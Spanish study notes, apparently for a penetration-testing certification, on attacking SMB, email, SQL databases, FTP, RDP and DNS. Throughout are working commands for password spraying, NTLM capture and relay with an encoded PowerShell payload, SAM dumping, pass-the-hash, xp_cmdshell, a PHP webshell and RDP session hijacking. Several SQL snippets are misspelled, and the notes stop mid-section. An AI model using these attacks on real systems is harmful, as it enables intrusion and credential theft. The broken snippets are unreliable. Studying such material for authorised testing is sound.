Si tenemos permisos sobre la carpeta compartida o se puede usar autenticacion anonima:

![[Pasted image 20260621173053.png]]

Si no tenemos acceso:

![[Pasted image 20260621173110.png]]

A traves de CMD

  1. Listar el recurso compartido
dir \\IP\ShareName

![[Pasted image 20260621173209.png]]

  1. Conectarnos al recurso compartido

SIN CONTRASEÑA:

net use n: \\IP\ShareName

![[Pasted image 20260621173312.png]]

CON CONTRASEÑA:

net use n: \\IP\ShareName /user:USER PASS

![[Pasted image 20260621173417.png]]

Con la carpeta compartida asiganada como n: podemos ejecutar comandos

dir n:
  1. Buscar nombres especificos:
dir n:\*cred* /s /b

![[Pasted image 20260621173746.png]]

o

findstr /s /i cred n:\*.*

![[Pasted image 20260621173833.png]]

PowerShell de Windows

  1. Listar el recurso compartido
Get-ChildItem \\IP\ShareName

![[Pasted image 20260621174033.png]]

  1. Conectarnos al recurso compartido

SIN CONTRASEÑA:

New-PSDrive -Name "N" -Root "\\IP\ShareName" -PSProvider

![[Pasted image 20260621174207.png]]

CON CONTRASEÑA:

$username = 'USER'
$password = 'PASS'
$secpassword = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential $username,$secpassword
New-PSDrive -Name "N" -Root "\\IP\ShareName" -PSProvider "FileSystem" -Credential $cred

![[Pasted image 20260621174619.png]]

  1. Buscar nombres especificos:
Get-CHildItem -Recurse -Path N:\ -include *cred* -File

![[Pasted image 20260621174819.png]]

o

Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List

![[Pasted image 20260621174920.png]]

Linux

sudo apt install cifs-utils
  1. Montar
sudo mkdir /mnt/ShareName
sudo mount -t cifs -o username=USER,password=PASS,domain=DOMAIN/. //IP/ShareName /mnt/ShareName

Alternativa:

mount -t cifs //IP/ShareName /mnt/ShareName -o credentials=/UTA/ARCHIVO_CREDENCIALES

ARCHIVO CREDENCIAKES:

username=USER
password=PASS
doamain=DOMAIN/.

![[Pasted image 20260622094838.png]]

Buscar: nombre de archivos

find /mnt/ShareName -name *cred*

![[Pasted image 20260622094848.png]]

Buscar contenido de archivos

grep -rn /mnt/ShareName -ie cred

![[Pasted image 20260622094856.png]]

Herramientas

![[Pasted image 20260622102256.png]]

CPTS

2. Atacando SMB

Puerto NetBIOS 139 TCP y 137/138 UDP Puerto SMB 445 TCP

Enumeracion

sudo nmap -sS -Pn -sVC -p129,445 --min-rate 5000 IP

![[Pasted image 20260624130044.png]]

Vemos la version de Samba 4.6.2 Nombre del host Sistema operativo basado en Linux

Configuraciones incorrectas

Autenticacion anonima

Podremos listar lo recursos compartidos, nombres de usuario, grupos, permisos…

Herramientas: smbclient, smbmap, rpcclient o enum4linux

  1. Listar recursos anonimamente con smbclient
smbclient -N -L //IP

![[Pasted image 20260624130320.png]]

  1. Listar recursos y permisos anonimamente con smbmap
smbmap -H IP

![[Pasted image 20260624130344.png]]

  1. Listar archivos de los recursos recursivamente

![[Pasted image 20260624130514.png]]

  1. Con permisos READ/WRITE se pueden usar para cargar y descargar archivos
smbmap -H IP --download "RECURSO\ARCHIVO"
smbmap -H IP --upload ARCHIVO "RECURSO\ARCHIVO"

Llamada a procedimiento remoto RPC

rpcclient permite enumerar la workstation o un controlador de dominio

hoja de trucos del Instituto SANS

rpcclient -U'%' IP

![[Pasted image 20260624131002.png]]

enum4linux permite automatizar algunas enumeraciones comunes:

  • Nombre del grupo de trabajo/dominio
  • Informacion del sistema operativo
  • Informacion de usuarios
  • Informacion de grupos
  • Carpetas de acciones
  • Informacion sobre la politica de contraseñas
./enum4linux.py IP -A -C

![[Pasted image 20260624131220.png]]![[Pasted image 20260624131228.png]]

Ataques especificos

Password Spray

CrackMapExec

  1. Crear el archivo de usuarios

![[Pasted image 20260624131509.png]]

  1. Usar crackmapexec
crackmapexec smb IP -u /ARCHIVO -p 'PASS'

–continue-on-success: para que la herramienta siga aunque haya encontrado una coincidencia –local-auth: para cuando apuntemos a una maquina que no esta unida a un dominio

![[Pasted image 20260624131554.png]]

Ejecucion remota de codigo RCE

Con privs Administrator o especificos

PsExec: es una herramienta que nos permite ejecutar procesos de forma interactiva desde consola en otra maquina. Podemos descargarla o usar Impacket

Impacket PsExec

impacket-psexec USER:'PASS'@IP

![[Pasted image 20260624132134.png]]

Crackmapexec

crackmapexec smb IP -u USER -p PASS -x 'COMANDO' --exec-method smbexec

![[Pasted image 20260624132227.png]]

  • Enumeracion de usuarios con crackmapexec
crackmapexec smb IP_RED/mascara -u USER -p 'PASS' --loggedon-users

![[Pasted image 20260624132352.png]]

  • Extraer hashes de bases de datos SAM
crackmapexec smb IP -u UER -p PASS --sam

![[Pasted image 20260624132449.png]]

  • PtH
crackmapexec smb IP -u USER -K HASH

![[Pasted image 20260624132528.png]]

Ataques de autenticacion forzada

Podemos crear un servidor SMB falso para capturar hashes NTLM de los usuarios

Responder: en su modo default capturara trafico LLMNR y NBT-NS, respondera en nombre de los servidores que estan buscando esos usuarios y robara los hashes NTLM

responder -I INTERFACE

La herramienta se aprovecha de la Resolucion de Nombres:

  • Se requiere la direccion IP del archivo comparitdo
  • Verifica el archivo en el host (/etc/hosts)
  • Si no lo encuentra la maquina cambia a cache DNS local
  • Si no hay registros en DNS en cache se hace una consulta al servidor DNS configurado
  • Si todo falla se hace una consulta multidifusion solicitando la IP del archivo compartido

Responder aprovecha esta multidifusion que se suele dar si se escribe mal el nombre del archivo compartido ya que no puede encontrarlo para responder en nombre del servidor y capturar los NTLM

![[Pasted image 20260624133543.png]]![[Pasted image 20260624133550.png]]

  • Descrifrado con hashcat
hashcat -m 5600 ARCHIVO /WORDLIST

![[Pasted image 20260624133641.png]]

Sino se puede descrifrar el hash

Podemos enviar el hash capturado a otra maquina usando impacket-ntlmrelayx

Lo que hace es ponerse en medio para recibir una autenticación NTLM de una víctima y reenviarla contra otro servicio, normalmente SMB, LDAP, HTTP, etc. Con esto podemos recuperar NTLMs o tras la autenticacion ejecutar comandos

Primero obtenemos el hash

  1. Configuramos MSB en OFF en nuestro archivo de configuracion de Responder
cat /etc/responder/Responder.conf

![[Pasted image 20260624135317.png]]

  1. Ejecutamos ntlmrelayx con la opcion de –no-http-server, -smb2support y -t IP_MAQUINA_DESTINO
impacket-ntlmrelayx --no-http-server -smb2support -t IP_MAQUINA_OBJETIVO

![[Pasted image 20260624135543.png]]

  1. Podemos usar esto mismo para ejecutar un comando en el host destino
  • Creamos un listener
nc -lvnp 9001

![[Pasted image 20260624141227.png]]

impacket-ntlmrelayx --no-http-server -smb2support -t IP -c 'powershell -e BASE64'

Ejemplo practico

  1. Enumeramos el host destino

![[Pasted image 20260625100624.png]]

  1. Listamos los recursos e intentamos obtener el archivo

![[Pasted image 20260625100908.png]]

  1. No tenemos privs. Enumeramos usuarios y obtenemos jason y robin. Podriamos hacer fuerza bruta de ambos pero sabemos que nos piden jason (usamos el recurso que tenemos en htb)

![[Pasted image 20260625101104.png]] ![[Pasted image 20260625101156.png]]

![[Pasted image 20260625101612.png]]![[Pasted image 20260625101642.png]]

Es un usuario local

![[Pasted image 20260625101807.png]]

  1. Nos conectamos a SMB con las credenciales y obtenemos el id_rsa

![[Pasted image 20260625102309.png]]

  1. Nos conectamos via ssh

![[Pasted image 20260625102323.png]]

CPTS

3. Ultimas Vulns De SMB

SMBGhost - CVE-2020-0796: consiste en una compresion de las versiones 1903 y 1909 de Windows 10 que lo hacian vuln a usuarios no autenticados y obtener RCE

Se trata de una vuln de desboradamiento de enteros en funcion de un controlador SMB que puede sobreescribir comandos del sistema mientras se accede a memoria

Se genera en CPU un numero de enteros mayor que el requerido para el espacio asignado. Si escribimos un numero de datos mayor al establecido en los enteros, esta info extra se escribira en el buffer provocando sobreescritura de las instrucciones posteriores de la CPU e interrumpiendo la ejecucion normal de los procesos

  1. Cliente manda una solicitud manipulada por el atacante al servidor SMB
  2. Los paquetes comprimidos enviados se procesan segun el protocolo negociado
  3. El proceso necesita privs de sistema o privs de administrador
  4. Como destino se usa el proceso local que debe procesar los paquetes comprimidos
  5. Se usan los datos del proceso anterior
  6. El desbordamiento de enteros produce el reemplazando el bufer sobrescrito con las intruccion del atacante obligando a la CPU a ejecutar esas instrucciones

CPTS

1. SMTP + Imap O POP3

SMTP es el servicio basico de entrega de mensajes de correo IMAP o POP3 son protocolos que sirven para recuperar un correo electronico de un servicio Evolution es un cliente de correo como administrador de informacion y un cliente de correo para el escritorio de GNOME y asi poder interactuar para enviar y recibir mensajes

  1. Instalar Evolution
sudo apt install evolution

Si hay un error de bwarp al instalar: export WEBKIT_FORCE_SANDBOX=0 && evolution

  1. Conexion a IMAP y SMTP mediante Evolution (podemos usar la IP del servidor de correo o el nombre del dominio. Si se usa SMTPS o IMAPS se necesitara activar el TLS)

![[Pasted image 20260622095640.png]]![[Pasted image 20260622095659.png]]![[Pasted image 20260622095737.png]]![[Pasted image 20260622095805.png]]![[Pasted image 20260622095834.png]]![[Pasted image 20260622095850.png]]![[Pasted image 20260622095907.png]]![[Pasted image 20260622095933.png]]![[Pasted image 20260622095944.png]]![[Pasted image 20260622100003.png]]

Herramientas

![[Pasted image 20260622102310.png]]

![[Pasted image 20260622102323.png]]

CPTS

2. Atacando Servicios De Correo Electronico

Cuando le damos a Enviar en nuestra aplicacion de correo se crea una conexion SMTP hacia el otro servidor. Cuando descargamos correos en nuestra aplicacion, esta se conecta a un servidor POP3 o IMAP4 que pemrite al usuario guardar mensajes en un buzon

POP3 por defecto elimina los mensajes descargados del servidor de correo dificultando el acceso del correo desde multiples dispositivos (aunque se suele configurar el servidor POP3 para que guarde las copias)

![[Pasted image 20260626134315.png]]

Enumeracion

Las empresas por lo general lo tienen en la nube bajo Microsoft 365 o GSuite

Podemos usar el registro DNS (MX) para identificar servidores de correo. MX especifica el servidor de correo responsable de aceptar mensjaes de correo en nombre de dominio

  1. Identificamos el servidor de correo (MX)
  • Host
host -t MX DOMAIN

![[Pasted image 20260626134537.png]]

  • Dig
dig mx DOMAIN | grep "MX" |  grep -v ";"

![[Pasted image 20260626134630.png]]

  1. Obtenemos la IP del servidor
host -t A MAILSERVER

![[Pasted image 20260626134714.png]]

PUERTOS A ENUMERAR: ![[Pasted image 20260626134838.png]]

  1. Enumeracion de la IP
sudo nmap -Pn -sS -sCV -p25,143,110,465,587,993,995 --min-rate 5000 IP

![[Pasted image 20260626134934.png]]

Malas configuraciones

Autenticaciones anonimas o admite protocolos que pueden ser usados para enumerar usernames validos

Autenticacion

1. Enumeracion de usuarios local

SMTP

SMTP tiene varios comandos que se pueden usar para enumerar nombres de usuario:

  • VRFY
  • EXPN
  • RCTP TO

Si conseguimos usernames podemos tratar de hacer un password spraying, fuerza bruta…

  1. Probar VRFY (verifica si el nombre de usuario existe)
telnet IP 25
> VRFY USERNAME1
> VRFY USERNAME2...

![[Pasted image 20260626135313.png]]

  1. Probar EXPN (parecido a VRFY solo que se pueden usar listas de distribucion y esta listara todos los usuarios de la lista (las listas de distribucion suelen ser: all, empleados, soporte…))
telnet IP 25
> EXPN USERNAME1
> EXPN USERNAME2...
> EXPN LISTA_DISTRIBUCION

![[Pasted image 20260626135600.png]]

  1. Probar RCPT TO (identifica el destinatario del mensaje y se puede usar varias veces con un mensaje determinado antes de entregar)
telnet IP 25
> MAIL FROM:test@DOMAIN
> RCTP TO:USERNAME1
> RCTP TO:USERNAME2...

![[Pasted image 20260626135830.png]]

POP3
  1. Probar USER
telnet IP 110
> USER USERNAME1
> USER USERNAME2...

![[Pasted image 20260626140022.png]]

Automatizacion

smtp-user-enum: se puede usar VRFY, EXPN o RCPT

smtp-user-enum -M (VRFY, EXPN o RCPT) -U /USERLIST -D DOMAIN -t IP

![[Pasted image 20260626140159.png]]

2. Enumeracion de usuarios nube

Los servicios en nube suelen usar su propia implementacion con caracteristicas que se pueden abusar

O365spray: herramienta de enumeracion de nombres de usuario y pass spraying dirigida a MO365

  1. Validar si se esta usando 0365
python3 o356spray.py --validate --domain DOMAIN

![[Pasted image 20260626140500.png]]

  1. Identificar nombres de usuario
python3 o365spray.py --enum -U USERLIST --domain DOMAIN

![[Pasted image 20260626140617.png]]

3. Password Spraying

  • Contrase servicios de correo locales (SMTP, POP3 e IMAP4)
hydra -L USERLIST -p 'PASS' -f IP (smtp,pop3,imap4)

![[Pasted image 20260626140920.png]]

  • Servicios en la nube Hydra suele estar bloqueado

o365spray o MailSniper para Microsoft Office 365 CredKing para Gmail u Okta

python3 o365spray.py --spray -U USERLIST -p 'PASS' --count 1 --lockout 1 --domain DOMAIN

![[Pasted image 20260626141108.png]]

Ataque especifico (Relay abierto)

Relay abierto es un servidor SMTP que esta malconfigurado y permite la retransmision de correo no autenticada

Estos permiten que los correos de cualquier fuente sean redirigidos de forma transparente a traves de este servidor

Enmascara el origen de los correo y hace parecer que se origino en el rele

Podemos usar esto para hacer phisings como usuario inexistente o suplantar correos de otras personas (spoofing)

Imagina que averiguamos el correo por el que la empresa contacta a los empleados, podremos hacernos pasar por ese correo origen y poner un link malicioso dentro

  1. Identificar si el smtp tiene relay abierto
sudo nmap -Pn -sS --script smtp-open-relay -p25 --min-rate 5000 IP

![[Pasted image 20260626142249.png]]

  1. Una vez que vemos que tiene open relay podemos conectarnos al servidor con cualquier cliente y enviar nuestro correo
swaks --from EJEMPLO@DOMAIN --to EJEMPLO@DOMAIN --header 'Subject: EJEMPLO' --body 'EJEMPLO http://URL/' --server IP_SMTP

![[Pasted image 20260626142457.png]]![[Pasted image 20260626142503.png]]

Ejemplo practico

  1. Metemos en /etc/hosts el dominio ![[Pasted image 20260626142715.png]]

  2. Realizamos una enumeracion de usuarios (VRFY no nos devuelve nada porque el servidor estara configurado para que no nos devuelva nada pero con RCPT si)

![[Pasted image 20260626142839.png]] ![[Pasted image 20260626142849.png]]

  1. Hacemos una fuerza bruta y encontramos la pass del usuario

![[Pasted image 20260626143130.png]]

  1. Nos conectamos a POP3 y leemos el unico mensaje que tiene

![[Pasted image 20260626143742.png]]

CPTS

1. Bases De Datos (mssql, Linuxsqsh, Sqlcmd...)

Formas de interactuar

  1. Utilidades en lineas de comandos como mysql o sqsh
  2. Lenguajes de programacion
  3. Aplicacion GUI

Linea de comandos

MSQL

Para interactuar con MSSQL desde Linux podemos usar sqsh (Linux) o sqlcmd (Windows)

  1. SQSH (Linux)
sqsh -S IP -U USER -P PASS
  1. SQLCMD (Windows)
sqlcmd -S IP -U USER -P PASS
MySQL
  1. Linux
mysql -u USER -pPASS -h IP
  1. Windows
mysql.exe -u USER -pPASS -h IP

Usando GUI

MySQL tiene MySQL Workbench MSSQL tiene SQL Server Management Studio o SSMS (solo Windows)

Podemos instalar una herramienta de bases de datos como dbeaver que permite interactuar multiplataforma (Linux, Windows y macOS) y admite multiples bases de datos (MySQL, MSSQL, PostgresSQL…)

  1. Instalar
sudo dpkg -i dbeaver-VERSION.deb
  1. Iniciar
dbeaver &
  1. Conexion a MSSQL

![[Pasted image 20260622101914.png]] ![[Pasted image 20260622101946.png]] ![[Pasted image 20260622102006.png]] ![[Pasted image 20260622102044.png]] ![[Pasted image 20260622102058.png]] ![[Pasted image 20260622102133.png]]

Herramientas

![[Pasted image 20260622102344.png]]

CPTS

2. Atacando Bases De Datos SQL (mssql Y Mysql)

Bases de datos relacionales que almacenan los datos en talas, columnas y filas (MSSQL y MySQL)

Enumeracion

MSSQL - 1433/TCP y 1434/UDP o modo oculto 2433/tcp MySQL - 3306/TCP

nmap -Pn -sVC -p1433 IP

Revela la version y nombre del host

![[Pasted image 20260625103749.png]]

Mecanismos de autenticacion

MSSQL admiten 2 modos:

  • Windows authentication o Integrated: valor predeterminado y esta integrado con AD confiando en las cuentas de usuario y grupos Windows
  • Mixed mode: mixto entre cuentas AD y SQL Server

MySQL tambien admite varios:

  • Nombre usuario y contrarseña
  • Autenticacion Windows (con un plugin)

CVE-2012-2122 MySQL 5.6.x: se enviaba repetidamente la contraseña incorrecta, se calculaba el timestamp en el que MySQL encontraba la contraseña correcta y se usaba para bypassear la autenticacion

Ataques especificos

Leer/Cambiar la base de datos

  1. Conexion a la base de datos

Default: autenticacion SQL Autenticacion Windows:

  • HOSTNAME\\USERNAME
  • DOMAIN\\USERNAME
  • .\\USERNAME ![[Pasted image 20260625105420.png]]

LINUX:

  • MySQL
mysql -u USER -pPASS -h IP

![[Pasted image 20260625104610.png]]

  • MSSQL
sqsh -S IP -U USER -P 'PASS' -h

-h: apariencia mas limpia

![[Pasted image 20260625105033.png]]

o

impacket-mssqlclient -p 1433 USER@IP

![[Pasted image 20260625105148.png]]

WINDOWS:

  • MySQL (con mysql)
  • MSSQL
sqlcmd -S SRVMSSQL SERVIDOR -U USER -P 'PASS' -y 30 -Y 30

-y -Y: apariencia mas limpia

![[Pasted image 20260625105041.png]]

Cambiamos el contexto a john Comprobamos si es sysadmin Verificamos si hay servidores linkeados Vemos dos, el actual y local.test.linked.srv, ahi miramos la flag

![[Pasted image 20260628124434.png]] ![[Pasted image 20260628124454.png]] ![[Pasted image 20260628124535.png]]

Bases de datos predeterminadas

MySQL:

  • mysql: contiene las tablas que almacenan info requerida por el servidor SQL
  • information_schema: proporciona acceso a los metadatos
  • performance_schema: monitoriea la ejecucion del servidor
  • sys: objetos que ayudan a los administradores y desarrolladores a interpretar los datos recopilados

MSSQL:

  • master: informacion de una instacia SQL Server
  • msdb: usado por SQL Server Agent
  • model: plantilla para cada nueva base de datos
  • resource: base de datos de solo lectura que tiene objetos del sistema visibles
  • tempdb: tiene objetos temporales para consultas SQL

Sintaxis

  1. Mostrar base de datos

MySQL:

SHOW DATABASES;

![[Pasted image 20260625110148.png]]

MSSQL: en sqlcmd hay que poner GO

SELECT name FROM master.dbo.sysdatabases
go

![[Pasted image 20260625110318.png]]

  1. Seleccionar una base de datos

MySQL:

USE basedatos;

![[Pasted image 20260625110428.png]]

MSSQL:

USE basedatos
go

![[Pasted image 20260625110510.png]]

  1. Mostrar tablas de la base de datos MySQL:
SHOW TABLES;

![[Pasted image 20260625110637.png]]

MSSQL:

SELECT table_name FROM basedatos.INFORMATION_SCHEMA.TABLES
go

![[Pasted image 20260625110629.png]]

  1. Seleccionar todos los datos de una tabla

MySQL:

SELECT * FROM tabla;

![[Pasted image 20260625110807.png]]

MSSQL:

SELECT * FROM tabla;
go

![[Pasted image 20260625110815.png]]

Ejecutar comandos

En MSSQL

xp_cmdshell: caracteristica deshabilitada por defecto que permite ejecucion de comandos en el sistema

  1. Habilitar xp_cmdshell
EXECUTE sp_configure 'show advanced options', 1
go
RECONFIGURE
go
EXECUTE sp_configure 'xp_cmdshell',1
go
RECONFIGURE
go

Cambiamos el contexto a john Comprobamos si es sysadmin Verificamos si hay servidores linkeados Vemos dos, el actual y local.test.linked.srv, ahi miramos la flag

![[Pasted image 20260628124425.png]] ![[Pasted image 20260628124507.png]] ![[Pasted image 20260628124527.png]] 2. Ejecutar comandos

xp_cmdshell 'COMANDO'
go

Escribir archivos locales

MySQL:

MySQL NO tiene xp_cmdshell

Si esta relacionada con una web podemos escribir un archivo en el lenguaje de la web con un webshell o reverse shell y luego navegar en el directorio

  1. Revisar permisos secure_file_priv:
  • Vacia = ningun efecto
  • Nombre de directorio = servidor limita operaciones de importacion y exportacion para que funcionen solo en ese directorio
  • NULL = se deshabilitan operaciones de importacion y exportacion
show variables like "secure_file_priv";

![[Pasted image 20260625125420.png]]

  1. Escribir archivo local
SELEC "<?php echo \\SHELL_Exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'

![[Pasted image 20260625125015.png]]

MSSQL:

  1. Habilitar permisos:
sp_configure 'show advanced options',1
go
RECONFIGURE
go
sp_configure 'Ole Automation Procedures',1
go
RECONFIGURE
go
  1. Crear el archivo
DECALRE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FyleSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE 'OpenTextFile', @File OUT, 'C:\ineput\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Nullm 'WEBSHELL PHP'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
go

![[Pasted image 20260625125949.png]]

Leer archivos locales

MSSQL:

Lo permite de forma predeterminada

SELECT * FROM OPENROWSET(BULK N'C:/RUTA/ARCHIVO'SINGLE_CLOB) AS Contents
go

![[Pasted image 20260625130252.png]]

Cambiamos el contexto a john Comprobamos si es sysadmin Verificamos si hay servidores linkeados Vemos dos, el actual y local.test.linked.srv, ahi miramos la flag

![[Pasted image 20260628124410.png]] ![[Pasted image 20260628124510.png]] ![[Pasted image 20260628124523.png]]

MySQL:

NO lo permite de forma predeterminada

  1. Comprobamos permisos:

secure_file_priv:

  • Vacia = ningun efecto
  • Nombre de directorio = servidor limita operaciones de importacion y exportacion para que funcionen solo en ese directorio
  • NULL = se deshabilitan operaciones de importacion y exportacion
show variables like "secure_file_priv";

![[Pasted image 20260625125420.png]]

  1. Leemos
select LOAD_FILE("/RUTA/ARCHIVO");

![[Pasted image 20260625130438.png]]

Capturar el hash del servicio MSSQL

Parecido a robar hashes enseñado en [[2. Atacando SMB]]

En este caso en MSSQL usaremos xp_subdirs y xp_dirtree que usan protocolos SMB para recuperar una lista de directorios secundarios bajo un directorio principal

Cuando apuntamos estos a nuestro servidor SMB, este obligara a autenticarse y enviar el NTLM de la cuenta

  1. Iniciar Responder o Impacket-smbserver
sudo responder -I INTERFAZ

o

sudo impacket-smbserver ShareName ./ -smb2support
  1. Ejecutar xp_dirtree o xp_subdirs
EXEC master..xp_dirtree '\\IP_ATACANTE\ShareName\'
go

![[Pasted image 20260625131341.png]]

EXEC master..xp_subdirs '\\IP_ATACANTE\ShareName\'
go

![[Pasted image 20260625131348.png]]

![[Pasted image 20260625131354.png]]![[Pasted image 20260625131400.png]]

Hacerse pasar por un usuario existente con MSSQL

MSSQL tiene el permiso IMPERSONATE que nos permite asumir permisos de otros usuarios o iniciar sesiones

Se recomienda hacerlo dentro de la base de datos MASTER porque todos los usuarios tienen acceso a esta

  1. Movernos a Master
USE master
go
  1. Identificar los usuarios por los que nos podemos hacer pasar
SELECT distinc b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
go

![[Pasted image 20260625131707.png]]

  1. Verificar nuestro usuario y rol actual
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
go

![[Pasted image 20260625131741.png]]

0: NO tenemos rol de administrador pero podemos hacernos pasar por sa

  1. Hacernos pasar por un usuario y comprobamos sus privs
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
go

![[Pasted image 20260625131932.png]]

  1. Ejecutar comandos (visto en este mismo en xp_cmdshell)
  2. Volver a nuestro usuario
REVERT

Comunicarse con otras bases de datos

Esto permite que la base de datos ejecute una declaracion Transact-SQL que incluye tablas en otra instancia de SQL Server u otro producto como Oracle

Si accedemos a un SQL Server con un servidor vinculado es posible que podamos movernos lateralmente

  1. Identificar servidores vinculados
SELECT srvname, isremote FROM sysservers
go

![[Pasted image 20260625132915.png]]

0 = VINCULADO 1 = NO VINCULADO

  1. Identificar el usuario usado para la conexion y sus privilegios. Usamos EXECUTE para mandar comandos a servidores vinculados
EXECUTE('select @@servername, @@version, system_user, is_srvrolename('sysadmin')') AT [IP\SQLEXPRESS]
go

![[Pasted image 20260625133207.png]] Vemos que podemos ejecutar comandos privilegiados, leer y escribir (1=sysadmin) Para ejecutar comandos a la vez en el host remoto podemos dividirlos con ; mediante EXECUTE + xp_cmdhshell

Ejemplo practico

  1. Nos conectamos y miramos las bases de datos disponibles

![[Pasted image 20260625134150.png]]

  1. Buscando no encontramos el la credencial en ninguna base de datos y no podiamos entrar a flagDB por lo que intentamos capturar el hash

![[Pasted image 20260625135059.png]]![[Pasted image 20260625135122.png]]![[Pasted image 20260625135112.png]] ![[Pasted image 20260625135613.png]]

  1. Nos conectamos como mssqlsvc y obtenemos la flag ![[Pasted image 20260625140226.png]]![[Pasted image 20260625140239.png]]

CPTS

1. FTP

Herramientas

![[Pasted image 20260622102409.png]]

CPTS

2. Atacando FTP

Protocolo para la transferencia de archivos entre computadoras

Puerto: 21/TCP

Enumeracion

sudo nmap -sS -sCV -p21 IP

![[Pasted image 20260622104438.png]]

Configuraciones incorrectas

Autenticacion anonima

ftp IP
	> anonymous
	> Enter
	> ls
	> get/put archivo
	> mget/mput directorio
	> help

![[Pasted image 20260622104539.png]]

Ataques especificos

Fuerza bruta

Medusa

Parametro
-u USER
-U USERLIST
-p PASS
-P PASSLIST
-M PROTOCOLO
-n PUERTO
medusa -u USER -P /PASSLIST -h IP -M PROTOCOLO -n PUERTO

![[Pasted image 20260622105312.png]]

Ataque de rebote FTP o bounce FTP

Usar a los servidores FTP para enviar trafico saliente a otro dispositivo de red y obtener informacion de estos ultimos

EJEMPLO: apuntamos a FTP_DMZ (expuesto a internet) y usamos su conexion para escanear el host Internal_DMZ (interno a la red) y obtener informacion de puertos sensibles abiertos

![[Pasted image 20260622105616.png]]

sudo nmap -Pn -sS -n -p80 -b anonymous:password@IP_DMZ IP_INTERNAL

-b: nos dira si el servidor puede hacer bounce FTP

Ejemplo practico

  1. Escaneamos los servicios

![[Pasted image 20260622115901.png]]

  1. Nos conectamos con anonymous

![[Pasted image 20260622115913.png]]

  1. Realizamos fuerza bruta con los archivos conseguidos

![[Pasted image 20260622120438.png]]![[Pasted image 20260622134206.png]]

  1. Nos conectamos con las credenciales y obtenemos la flag

![[Pasted image 20260622134219.png]]

CPTS

3. Ultimas Vulns De FTP

CoreFTP before build 727 - CVE-2022-22836

Se usa en servidores FTP que no procesan bien el PUT y generan pàth traversal, authenticated directory y arbitrarh file write vulns

Nos deja escribir archivos fuera del directorio

Concepto

El servidor usa POST para cargar archivos pero podemos usar PUT para escribir contendio en archivos

curl -k -X PUT -H "Host: IP" --basic -u USER:PASS --data-binary "CONTENIDO" --path-as-is https://IP/../../../../../ARCHIVO

![[Pasted image 20260624125600.png]]

Se crea una solicitud PUT con autenticacion basica (USER:PASS) y creamos el archivo en la ruta especificada

CPTS

1. Atacando RDP

Proporciona una GUI para conectarse a otra maquina a traves de una conexion red

Puerto 3389/TCP

Enumeracion

sudo nmap -Pn -sS -sVC -p3389 --min-rate 5000 IP

![[Pasted image 20260626100721.png]]

Configuraciones incorrectas

Hay que tener en cuenta la politica de contraseñas para que no nos bloqueen o deshabiliten temporalmente

Password Spraying

Crowbar: permite hacer pass spraying a RDP

  1. Creamos la lista de usuarios ![[Pasted image 20260626100934.png]]

  2. Realizamos el password spraying

  • Crowbar:
crowbar -b rpd -s IP_DESTINO/mascara -U ARCHIVO -c 'PASS'

![[Pasted image 20260626101036.png]]

  • Hydra
HYDRA -L ARCHIVO -p 'PASS' IP rdp

![[Pasted image 20260626101136.png]]

  1. Iniciamos sesion en el sistema
  • Rdesktop
rdesktop -u USER -p PASS IP

![[Pasted image 20260626101233.png]]![[Pasted image 20260626101239.png]]

Ataques especificos

Secuestro de sesion

CONTEXTO: cuenta con privs de administrador local

Si hay otro usuario conectado a la maquina a la que nos hemos conectado, podemos secuestrar su sesion y hacernos pasar por ese usuario

  1. Abrir PS como Admin y verificar usuarios que tienen una sesion iniciada en el host
query user

![[Pasted image 20260626101541.png]]

  1. Si tenemos SYSTEM privs podemos usar tscon.exe para conectarnos a la otra sesion de escritorio
tscon SESSION_ID_OBJETIVO /dest:NUESTRA_SESSION_NAME
  • Si no tenemos privs SYSTEM podemos usar PsExec o Mimikatz para escalar. Creamos un servicio Windows que se ejecute como SYSTEM, esto se hace usando sc.exe
sc.exe create NOMBRE_SERVICIO_INVENTADO binpath='cmd.exe /k tscon ID_OBJETIVO /dest:NUESTRO_SESSION_NAME'

Luego iniciamos el NOMBRE_SERVICIO_INVENTADO:

net start NOMBRE_SERVICIO_INVENTADO

![[Pasted image 20260626102106.png]] ![[Pasted image 20260626102214.png]]![[Pasted image 20260626102220.png]]

PtH

Salvedades:

  • Restricted Admin Mode: esta deshabilitado de forma predeterminada y debe estar habilitado en el host destino, sino saldra el siguiente error: ![[Pasted image 20260626102626.png]]
  1. Habilitar agregando un Registry Key a DisableRestictedAdmin (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa)
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestictedAdmin /d 0x0 /f

![[Pasted image 20260626102856.png]]

  1. Usar pth
xfreerdp3 /u:USER /pth:HASH /v:IP

![[Pasted image 20260626102938.png]]![[Pasted image 20260626102945.png]]

Ejemplo practico

  1. Nos conectamos via rdp y vemos el archivo

![[Pasted image 20260626103311.png]]![[Pasted image 20260626103347.png]]

  1. Cambiamos el Resgistry Key ![[Pasted image 20260626103721.png]] ![[Pasted image 20260626103649.png]]

  2. Nos conectamos via PtH como Administrator ![[Pasted image 20260626104006.png]]![[Pasted image 20260626104259.png]]

CPTS

2. Ultimas Vulnerabilidades

CVE-2019-0708: Blueekepp. Usa solicitudes manipuladas para despues de inicializar la conexion poder ejecutar codigo arbitrario entre cliente y servidor (User-After-Free, no requiere que se active la autenticacion del usuario)

CPTS

1. DNS

DNS traduce nombres de dominio a direcciones IP

Puerto 53/UDP y 53/TCP

Enumeracion

sudo nmap -Pn -sS -sVC -p53 --min-rate 5000 IP

![[Pasted image 20260626105131.png]]

Transferencia de zona DNS

Una zona DNS es un espacio de nombres DNS administrado por un organizacion o administrador especifico

Se usan transferencias DNS para copiar la base de datos de un administrador/organizacion DNS a otro servidor DNS (y a menos que este configurado correctamente cualquiera puede hacer una transferencia de zona DNS)

  1. Transferencia de zona DNS
  • Dig:
